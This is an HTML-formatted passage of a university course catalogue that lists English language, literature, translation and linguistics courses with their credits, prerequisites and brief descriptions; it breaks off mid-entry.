style=\"text-align:justify\"><strong><em>ENGL 201:\r\nPre-Advanced English Grammar (6 <strong><em>ECTS&nbsp;</em></strong>credits)</em></strong></p><p style=\"text-align:justify\"><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: &nbsp;ENGL 104</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Course objectives are: to enable the students to use\r\nthe English Language properly, to develop their creative thinking, to make them\r\naware of the flexibility of the grammatical structures (Intermediate Level). It\r\ndevelops the students’ language skills and habits through the evidences of how\r\nthe language works, how considerably can grammar elaborate the efficiency of\r\nlanguage use in various situations.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong><em>ENGL 202: Advanced\r\nEnglish Grammar (6 <strong><em>ECTS</em></strong>  credits)</em></strong></p><p style=\"text-align:justify\"><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n201</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It develops students’ knowledge, skills and habits of\r\nPost Intermediate English structural level, helps them to correct studying and\r\nusing of the English language in various situations, including oral speech and\r\nnarrations and written text structures.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 206: ESL\r\n(Pre-advanced) (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n103 and ENGL 104</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The course is aimed at further development of the four\r\nlanguage skills and improving students’ ability to communicate in university\r\nenvironment. Authentic materials of the course fostering educational and\r\ncultural values are integrated with other subjects of general education\r\ncurriculum. The course develops a system of logical and organized thinking and\r\npromotes individualized and cooperative learning by involving students into an\r\nargument and research.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 207: Introduction\r\nto English Translation (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n103, 104</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The course provides information on basics of English\r\ntranslation. Study of comparative word orders in English, Azerbaijani/Russian\r\nlanguages during translations are the major elements of the course.</p>\r\n<p style=\"text-align:justify\"><strong><em><br></em></strong></p><p style=\"text-align:justify\"><strong><em>ENGL 212: English\r\nfor Current Events (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n201</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Skills necessary to understand news media as means of\r\nEnglish improvement and as source of information and entertainment; print and\r\nelectronic media coverage of current news and issues. Being complementary to\r\nother subjects, it is designed to improve students’ vocabulary, reading and\r\nlistening, as well as translation skills.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 216: English\r\nfor Specific Purposes (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n103 and ENGL 104</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The emphasis of the course rests on major structural\r\nand lexical differences between General English and ESP. To find out the\r\ncorrelation of scientific and non-scientific structures, to count and register\r\nthem would mean much in getting accuracy in various styles, typing them and\r\nthus escaping contextual misunderstandings.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 217: ESL\r\n(Advanced) (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n206</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">This course is focused on developing: (1) the&nbsp;<em>reading\r\nand writing for academic purposes</em>&nbsp;while\r\nassignments are given out of the materials the students use for academic\r\ndisciplines. (2) the&nbsp;<em>speaking and presentation</em>&nbsp;skills required for the future career\r\ndevelopment. Skills include pronunciation, classroom interaction,\r\npresentations, seminar discussions, and basic teaching strategies to obtain the\r\nknowledge and skills needed for daily communication. The main focus will be on\r\nlistening and speaking, but involving some reading and writing as well.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 309: English\r\nComposition (6&nbsp;<strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n202 or consent of instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It is aimed to help students acquire competence not\r\nonly in writing English but also composing their own essays and writing\r\nassignments, discussions, reading and listening. It helps the students to\r\ndevelop their basic abilities for description techniques, analysis and written\r\njudgments through instruction of a short composition text structure.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 311: Survey of\r\nBritish Literature I (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nConsent of instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It focuses on discussion of the major works of English\r\nwriters from the Old period up the end of XVIII century including Geoffrey\r\nChaucer, Marwel, Shakespeare, Donne and others.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 315: English\r\nthrough Films (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n201 or consent of instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The course focuses on developing listening and\r\nspeaking skills, cross cultural understanding using American/English movies and\r\ntelevision; comprehension of complex information presented in a non-lecture\r\nformat, as in television documentaries. It determines the speaker’s independent\r\nattitude towards the subject by an individual critical reasoning.</p>\r\n<p style=\"text-align:justify\"><strong><em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 316: Advanced\r\nEnglish Vocabulary (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nConsent of instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Advanced English Vocabulary is designed for English\r\nand non-English majors, teaching students who seek a thorough understanding of\r\nEnglish word building. The aim of this course is primarily to help students\r\nacquire competence in usage of language focusing mainly on vocabulary and academic\r\nword list. This course enables the students to gain a deeper understanding,\r\nspeaking, and listening performances along with vocabulary enrichment. Students\r\nwill demonstrate mastery of class material through variety of exercises and\r\nquizzes.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 317: History\r\nof the English Language (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n215</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Development of the English language from Old to Early\r\nModern English: phonology, morphology, lexicology and syntax. To provide\r\nknowledge on history of the English Language, its significant regional\r\nvariations and about the principles of historical linguistics.</p>\r\n<p style=\"text-align:justify\"><strong><em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 321:\r\nTranslation Practice 1 (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n207 or consent of instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It aims at translation of written English text\r\nmaterials from English into the native or vice versa, develops students’\r\ncritical reasoning on text structures, improves their reading and comprehension\r\nabilities.</p>\r\n<p style=\"text-align:justify\"><em>&nbsp;</em></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 322:\r\nLexicology (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n215</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It is aimed to expand students’ vocabulary through\r\nword building exercise like synonyms, antonyms, word matching etc. Its purpose\r\nis to help the students to improve their academic reading rate and\r\ncomprehension abilities, the meanings of roots, suffixes and prefixes.</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><em>ENGL 324:\r\nTranslation Practice 2 (6 <strong><em>ECTS</em></strong>  credits)</em></strong></p><p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n321</em></strong><em></em></p><p style=\"text-align:justify\">It is focused on translation of the various text\r\nmaterials with different levels of difficulties using the correct methods and\r\ndevices of text transformations through practical application of the learned\r\ngrammatical structures and models.<em></em></p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 325:\r\nCommunication English (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The course develops speaking and overall communication\r\nskills in English through discussion-based class sessions, role-plays,\r\ndescriptions of the various life situations, movie and events discussions.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL/AMS 326:\r\nBritish/American Studies (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It is focused on social and cultural life of the\r\nmodern Britain/America. By presentation of the various topics for reading and\r\nanalysis the students are further developed more rigorously in terms of cross\r\ncultural, educational, social and economic orientations.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 330: Survey of\r\nBritish Literature II (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n311 or consent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It focuses on learning and discussion of the major\r\nworks of English writers of XIX and XX centuries.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 335: Academic\r\nWriting (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n309 or consent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It provides an opportunity to learn and practice the\r\nbasics of effective, logically ordered, organized and well researched writing\r\nprocess with effective written arguments and significant ideas.</p>\r\n<p style=\"text-align:justify\">It aims at development and refinement of the academic\r\nwritten skills through the use of multiple drafts and revisions of the assigned\r\nessays and their essential parts in their writing process<em>.</em><em>&nbsp;</em>Variety of methods, like the\r\nstudy of model texts through reading, analysis and discussion, teaching of\r\nrhetorical concepts (audience, purpose, style, focus, development, structure,\r\netc.) and practice in logical and reasoning analyses are used to tackle the\r\nstudents with necessary course requirements.</p>\r\n<p style=\"text-align:justify\"><em>&nbsp;</em></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 410: Modern\r\nEnglish Literature (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nConsent of instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It provided discussions of the major modern English writers\r\nand theorists of the XXI century.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 411:\r\nTranslation Practice 3 (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n324</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It further develops the previously studied translation\r\npractices and techniques raising the students awareness in grasping,\r\ninterpreting, transferring the major contextual implications. Students are\r\ntrained on the intricate text structures and translation models. They learn the\r\nacceptable ways of correct translations through the specific features of the\r\nlanguages (English/Azerbaijan/Russian) to be translated from and into.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 414:\r\nDevelopment of American English (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n317</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Special emphasis is put on American English,\r\ndifferences in phonetic, grammatical and vocabulary in American English. The\r\ncourse also considers special readings in American English.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 415: Survey of\r\nAmerican Literature (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The course curriculum pursues learning historical\r\nsurvey of important writers, intellectual current movements, conventions,\r\ngenres, and themes. Lecture course, with wide reading, recitation section, with\r\ndiscussion and writing are major parts of the course.</p>\r\n<p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><em>ENGL 416: Survey of\r\nBritish Literature (6&nbsp;<strong><em>ECTS</em></strong>   credits)</em></strong></p><p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of the instructor</em></strong><em></em></p><p style=\"text-align:justify\">The course aims at realizing the historical survey of\r\nmajor figures, movements and trends in British literature (from Chaucer to\r\nMarvell, including Spenser, Shakespeare, Donne, etc).<em></em></p>\r\n<p style=\"text-align:justify\"><em>&nbsp;</em></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 417: World\r\nLiterature in English (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Examination of literature written in English\r\nworldwide. Although the course may include writings from the US and Britain,\r\nemphasis is on literature from Canada, Africa, India, Asia, Australia, New\r\nZealand, and the South Seas.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 418: World\r\nEnglish (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Examines development, significance, and linguistic\r\ncharacteristics of varieties of English spoken in different countries (US, UK,\r\nIndia, New Zealand, Canada, and Australia), and local standards with reference\r\nto cultural identity and language nativization.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 419: Creative\r\nWriting (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n309</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Creative writing focuses on advancement of students’\r\nversatility, advances their individual writing skills and imagination. It\r\nenables the students to demonstrate their skill in writing essays, short\r\nstories, poetry, and drama. Its elements of writing poetry and prose involve a\r\ncombination of a small group workshops and lecture presentation by visiting\r\nwriters.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 420: Literary\r\nStudies (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">This course provides a survey of literary studies from\r\nantiquity through Middle Ages to modernity.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL: 421 Text\r\nInterpretation (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisites:\r\nconsent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The course is intended for advanced ESL students\r\ntaking training at English – medium universities to meet academic requirements\r\nof the English language curriculum. It is aimed at analyzing texts, exposing\r\nstudents to authentic reading materials with functional style of English\r\nlanguage, improving and reinforcing their oral practice. Through stylistic\r\ndevices and expressive means used by the written to adequately interpreter the message\r\nand recognize the writers opinion.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 428:\r\nTranslation Practice 4 (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n411</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It is aimed at consolidation of translation practices\r\ngained from the previous course Translation Practice -3 by the help of\r\nsystematic translation analyses</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 431: History\r\nof British Isles and the English Language&nbsp; (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nConsent of instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It studies the origins and history of the development\r\nof English language and British Isles through the four major periods.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 608: Translation\r\nand Interpreting Theory (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">A two semester course covers the basics of translation\r\nand interpretation theory. The course aims at students’ acquisition the basic\r\nknowledge and understanding of the processes and results of written and oral\r\ninter-lingual transfer of messages, description of the processes, factors,\r\nstages and results of translating and interpreting activities as contextually\r\ndetermined phenomena.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 609:\r\nStylistics (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n322</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">This course aims at development of the students’\r\nawareness in recognizing, comprehension of different English language styles,\r\ntheir power of expressiveness and sets of their characteristics by which one is\r\ndistinguished from the other; belles-lettres, publicist, literary style, the\r\nlanguage of newspapers, scientific prose and official documents.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 612: Methods\r\nof Translating and Interpreting (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n609, ENGL 322</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It aims at developing basic communicative and\r\ninterpretation skills, knowledge and habits used for consecutive interpreting\r\nas well as for linguistic and cultural competence. Focuses mainly on\r\n(operative, short-term, long-term) memory training, active understanding,\r\nnote-taking of foreign language spoken discourse with its subsequent transfer\r\ninto the mother tongue and vice versa.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 613: Basics of\r\nTechnical Translation (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of the Instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It develops a competence and skills in translation\r\nfrom the related technical texts (business and economics, law and\r\nadministration, engineering, etc) into the foreign language and vice versa\r\nusing the translation methods and devices. To be able to handle the various\r\nspecialized dictionaries, terminologies, and research materials,\r\ndocumentations. It develops the students’ skills and habits in treatment of\r\nterminology and style. A vocabulary work of 1000 and 1200 words should be\r\ntranslated in before the exam.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 702: Literary\r\nTranslation and Editing (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: Consent\r\nof instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The course provided major tools in literary\r\ntranslation and editing<strong>.</strong>&nbsp;Specific emphasis is put on\r\npreservation and conveyance of style in translation and detailed structure of\r\nediting process.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 703:\r\nInterpreting (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nConsent of instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The course provides major tools, its mechanism and\r\nproactive and retroactive principles in interpretation. Major approaches and\r\ntheories of interpretation are analyzed. Major focus is on practice of\r\ninterpretation.<strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>LING 215:\r\nIntroduction to Linguistics (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nConsent of instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">This course gives the most generic knowledge about\r\nhistorical background, formation, common features and diversities of the\r\nlanguages and language families. The course mainly focuses on delivery of\r\ninformation about the methods and techniques of linguistic analyses, including\r\nmeaning, evaluation and changes of the regional and social dialects. It\r\ndiscusses the ways of development of the linguistic quality assessment models\r\nfrom the historical and theoretical angles.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 216:\r\nFundamentals of Linguistics (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nConsent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">This course explores general problems in the study of\r\nlinguistics. It illustrates the origin and development of linguistics, the\r\nworld languages and their classifications. It interprets the relations between\r\nthe language and its writing, origin of writing,&nbsp;&nbsp; its peculiarities\r\nand periods of development.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 310: Phonology\r\n(6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n216</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It teaches the speech sounds and prosodic events\r\n(height of the tone, length, and strength) as a meaning distinguishing device\r\n(phoneme) of the words, morphemes and a system of phonemes of the language, and\r\ninvestigates their functional features.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>LING 420: Languages\r\nof the World (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n215</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Survey of language families of the world: Classifying\r\nlanguages genetically and typologically; historical relations among languages.</p>\r\n<p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><em>LING 421:\r\nSociolinguistics (6 <strong><em>ECTS</em></strong>  credits)</em></strong></p><p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n215</em></strong><em></em></p><p style=\"text-align:justify\">Social determinants of linguistic diversity,\r\nvariability, and change; linguistic behavior and social control; methods of\r\ncommunity-based linguistics research.<em></em></p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 422:\r\nLinguistic Analysis (6 <strong><em>ECTS</em></strong>  credits</em></strong><em>)</em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n215</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Techniques for analyzing phonological, morphological,\r\nand syntactic data from a variety of languages; discovering stating, and\r\njustifying generalizations; comparison of diverse languages.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 423: History\r\nof Linguistics (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n215</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Origins and history of development of linguistics,\r\nvarious theories of development of linguistics.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 424: Modern\r\nLinguistic Problems (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n215</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">This seminar discusses major debates on problems in\r\nlinguistics. Students are required to acquaint themselves with contemporary\r\nschools in linguistics.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 425: Comparative\r\nHistorical Linguistics (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n216</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The comparative –historical method is referenced in\r\nthis area of linguistics. In this way an old and the oldest phonetic, lexical\r\nand grammatical properties of the language concerning to the language family\r\nare reconstructed. The categories of the separate languages are compared with\r\nthe categories of relative languages, the similarities and differences are\r\ndefined. Azerbaijani is investigated in comparison with other Turkish\r\nlanguages.&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><em>LING 426:\r\nStructural linguistics (6 <strong><em>ECTS</em></strong>  credits)</em></strong></p><p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n216</em></strong><em></em></p><p style=\"text-align:justify\">The course teaches the current theories of widely\r\nknown branch in linguistics, i.e. structuralism. It deals with the school\r\nbranches like Prague School of Structuralism (Functional Linguistics),\r\nCopenhagen School of Structuralism (Glossematics), American School of\r\nStructuralism (Descriptivism), and the School of Ferdinand de Saussure as a\r\nfounder of the latter branch. It shows that the structural method as a\r\nconstituent part of the language unit mainly focuses on the unique structure of\r\nthe language, and attaches no importance to the existing inter componential\r\nsemantic unit structures.<em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 427: Psycholinguistics\r\n(6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n216</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The course explains the principles of inception and\r\nperception of speech activity and relations of linguistics with psychology. It\r\nis indicated five kinds of speech disturbances brought forward in the\r\npsychological and linguistic literature; two of them (dynamic and motor) are\r\nrelated to psychology, one of them – semantic aphasia – to linguistics, two –\r\nafferent motor and sensor aphasias – to physiological disturbances. It also\r\ninvestigates the speech like one of the practical human activities.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 428: Ethno-linguistics\r\n(6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n216</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">This part of Macro-linguistics teaches the relations\r\nbetween language and people, analyses the mutual influence of the linguistic\r\nand ethnic factors in language functionality.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 502: Second\r\nLanguage Acquisition (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:</em></strong><strong><em>&nbsp;</em></strong><strong><em>Consent of\r\ninstructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Review of literature on child and adult second\r\nlanguage acquisitions, language variables; phonological, morphological,\r\nsentential and discourse levels. Social and psychological variables which may\r\naccount for differences in learning. Emphasis on different extracts from\r\nchild’s literature.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 503: Structure\r\nof Modern English (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n215</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Interpretation of selected linguistic features of\r\noverall and written text that go beyond sentence level and thus, signal\r\ncohesion. Study of functions of various structures in a variety of English\r\ntexts representing several discourse types.</p>\r\n<p style=\"text-align:justify\"><strong><em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 505: Applied\r\nLinguistics (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n215</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Emphasis on the theory and methods of applied\r\nlinguistics. Universal properties of human language, phonological,\r\nmorphological, syntactic, semantic and pragmatic structures and analysis;\r\nnature and form of applied linguistics.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>LING 511:\r\nLinguistic Methods (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n216</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It teaches linguistics, the methods of investigation\r\nin the subject teaching and analyzes the general and special methods,\r\nhighlights its different features, problems, methods and 